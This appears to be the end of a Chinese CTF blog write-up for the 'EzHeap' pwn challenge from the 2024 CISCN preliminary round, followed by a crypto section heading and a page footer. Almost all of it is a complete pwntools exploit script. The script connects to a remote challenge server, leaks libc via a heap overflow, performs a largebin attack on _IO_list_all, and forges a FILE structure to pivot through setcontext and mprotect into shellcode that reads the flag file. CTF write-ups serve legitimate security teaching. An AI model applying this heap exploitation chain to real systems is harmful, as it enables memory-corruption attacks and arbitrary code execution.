79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
context.arch='amd64'
def add(l,data=b'\n'):
p.sendlineafter(b'>> ',b'1')
p.sendlineafter(b'size:',str(l).encode())
p.sendafter(b"content:",data);
pass
def free(ind):
p.sendlineafter(b'>> ',b'2')
p.sendlineafter(b"idx",str(ind).encode())
def edit(ind,data):
p.sendlineafter(b'>> ',b'3')
p.sendlineafter(b'idx:',str(ind).encode())
p.sendlineafter(b'size:',str(len(data)).encode())
p.sendafter('content:',data)
def show(ind):
p.sendlineafter(b'>> ',b'4')
p.sendlineafter('idx',str(ind).encode())

def exit():
p.sendlineafter(b'>> ',b'5')

#p=process("EzHeap")
p=remote("8.147.134.47","35955")
libc=ELF("./libc.so.6")
#gdb.attach(p,'bp setcontext+0x3d')
add(0x300) #0
add(0x448) #1
add(0x300) #2
add(0x438) #3
add(0x300) #4
free(1)
add(0x500)
edit(0,b'a'*0x308+b'rotwilll')
show(0)

p.readuntil('rotwilll')
large=u64(p.readuntil('Welcome',drop=1).ljust(8,b'\x00'))
print(hex(large))
pause()
libc.address=large-0x21b0e0
stdout=libc.sym['_IO_2_1_stdout_']
wfile_jump=libc.sym['_IO_wfile_jumps']
iolist=libc.sym['_IO_list_all']
success(f"libcaddr=0x{libc.address:x}")

edit(0,b'a'*0x308+p64(0x451)+p64(large)*2+p64(iolist-0x20)*2)
free(3)
add(0x500)
edit(0,b'a'*0x308+b'rotwilll')
show(0)
p.readuntil('rotwilll')
chunk=u64(p.readuntil('Welcome',drop=1).ljust(8,b'\x00'))
print(hex(chunk))

fake_io_add=chunk
chunk1=chunk-0x300
gs=chunk1
shelladd=chunk1+0x200

shellcode=shellcraft.open("flag")+shellcraft.read(3,chunk,0x300)+shellcraft.write(1,chunk,0x300)
mprotect=libc.sym['mprotect']
setcontext=libc.sym['setcontext']
gadget=libc.address+0x167420

fake_io=flat({
0x28: [gs,1],
0x98: fake_io_add+0x28,
0xa0: fake_io_add,
0xd8: wfile_jump+0x30,
},filler=b'\x00')
gsdata=flat({
8: [gs,shelladd],
0x20: setcontext+0x3d,
0x28: gadget,
0x68: gs&(~0xfff), # rdi
0x70: 0x1000, # rsi
0x88: 7, # rdx
0xa0: gs+0x10, #rsp
0xa8: mprotect, #rcx->rip
0xe0: gs
},filler=b'\x00')
#payload=fake_io#+asm(shellcode)

payload=gsdata
payload=payload.ljust(0x200,b'\x00')
payload+=asm(shellcode)
payload=payload.ljust(0x300)
#add(0x438,payload[0x10:])
payload=payload+fake_io

edit(2,payload)

#exit()
p.interactive()

crypto

古典密码


第十七届全国大学生信息安全竞赛-创新实践能力赛初赛
https://www.dr0n.top/posts/19d58d81/
作者
dr0n
发布于
2024年5月20日
更新于
2024年6月25日
许可协议